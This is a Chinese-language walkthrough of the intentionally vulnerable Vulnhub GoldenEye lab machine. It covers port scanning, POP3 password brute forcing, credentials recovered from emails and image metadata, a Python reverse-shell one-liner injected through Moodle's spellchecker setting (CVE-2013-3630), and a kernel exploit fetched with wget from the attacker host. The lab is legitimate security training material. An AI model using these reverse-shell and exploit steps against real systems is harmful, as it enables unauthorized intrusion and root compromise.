Vulnhub-GoldenEye
环境配置
vulnhub 下载此靶机,下载地址如下:
1 | https://www.vulnhub.com/entry/goldeneye-1,240/ |
将靶机设置为 NAT 模式,开机即可,配置说明如下:
1 | 攻击机ip:192.168.52.128 |
信息收集
端口扫描
首先使用 Nmap 的 Ping 扫描快速发现活跃主机,发现靶机 ip 为 192.168.52.139
1 | nmap -sP 192.168.52.0/24 |
使用 Nmap 全面扫一下开放的端口和运行的服务
1 | nmap -sT -A -p1-65535 -T4 -O -sV 192.168.52.139 |
扫描结果如下:系统开放了一个 HTTP 服务(80 端口)、一个 SMTP 服务(25 端口)和两个 POP3 服务(55006 和 55007 端口)
1 | PORT STATE SERVICE VERSION |
网站信息收集
一个普通的页面,查看网站源码发现加载了一个 js,打开 terminal.js,翻译一下,翻译插件直接把实体编码解出来了,可以得出一个账密 boris/InvincibleHack3r
按照要求访问 /sev-home/ 目录,用刚刚得到的账密登陆,提示一些 电子邮件啊,pop3 等字眼,于是想到爆破 pop3 接收邮件协议
爆破邮件密码
将刚刚得到的两个用户名写入 txt 文本中,使用 kali 自带字典 fasttrack.txt 爆破
1 | echo -e 'natalya\nboris' > GodenEye.txt |
爆破出这两个账号的密码(爆破的超级慢)
1 | [55007][pop3] host: 192.168.52.139 login: natalya password: bird |
使用 nc 连接 pop3 服务,登陆这两个账号查看信息,登陆流程如下:
1 | nc 192.168.52.139 55007 #使用 nc 命令连接 POP3 服务 |
两个账号一共五封邮件,给了一个账号密码 xenia/RCP90rulez!,还给了一个 url:severnaya-station.com/gnocertdir,需要修改 hosts 文件让 severnaya-station.com 域名指向 192.168.52.139
1 | 192.168.52.139 severnaya-station.com |
然后访问给出的 url,用邮件中给出的账密 xenia/RCP90rulez! 登陆,在最近联系中发现一个用户 doak
尝试爆破 doak 的邮件密码,爆破成功,密码为:goat,查看邮件又得到 doak 的网站账号密码 dr_doak/4England!,登陆后在私人文件中得到一个文件
文本内容如下:
1 | 007, |
图片隐写,admin 的密码在图片中,在图片详细属性中发现一串 base64,解码得到 xWinter1995x!
使用账密 admin/xWinter1995x!,成功登陆到后台
漏洞发现
根据插件和图标可知该 CMS 为 Moodle,搜索相关漏洞,发现一个 CVE-2013-3630 漏洞
将反弹 shell 命令填入下框,(bash 不行,但 python 可以)
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.52.128",2233));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
kali 开启监听,然后在博客中新建文章,点击”Toggle Spellchecker”之后就会触发反弹 shell 命令
反弹后一个普通用户权限
权限提升
其他提权无果后,尝试内核提权,查看内核版本,发现是 3.13.0 版本的
1 | uname -a |
使用 searchsploit 搜索内核相关 exp,找到符合版本的 exp,复制到当前目录,由于无法进行 gcc 编译,需要改下脚本为 cc,然后开启监听便于靶机下载
靶机使用 wegt 命令下载 exp,然后编译提权为可执行文件,命令如下:
1 | wget http://192.168.52.128:8888/37292.c |
提权成功,flag 在 root 目录下的隐藏文件中,最后访问 /006-final/xvf7-flag/目录还有一个小彩蛋()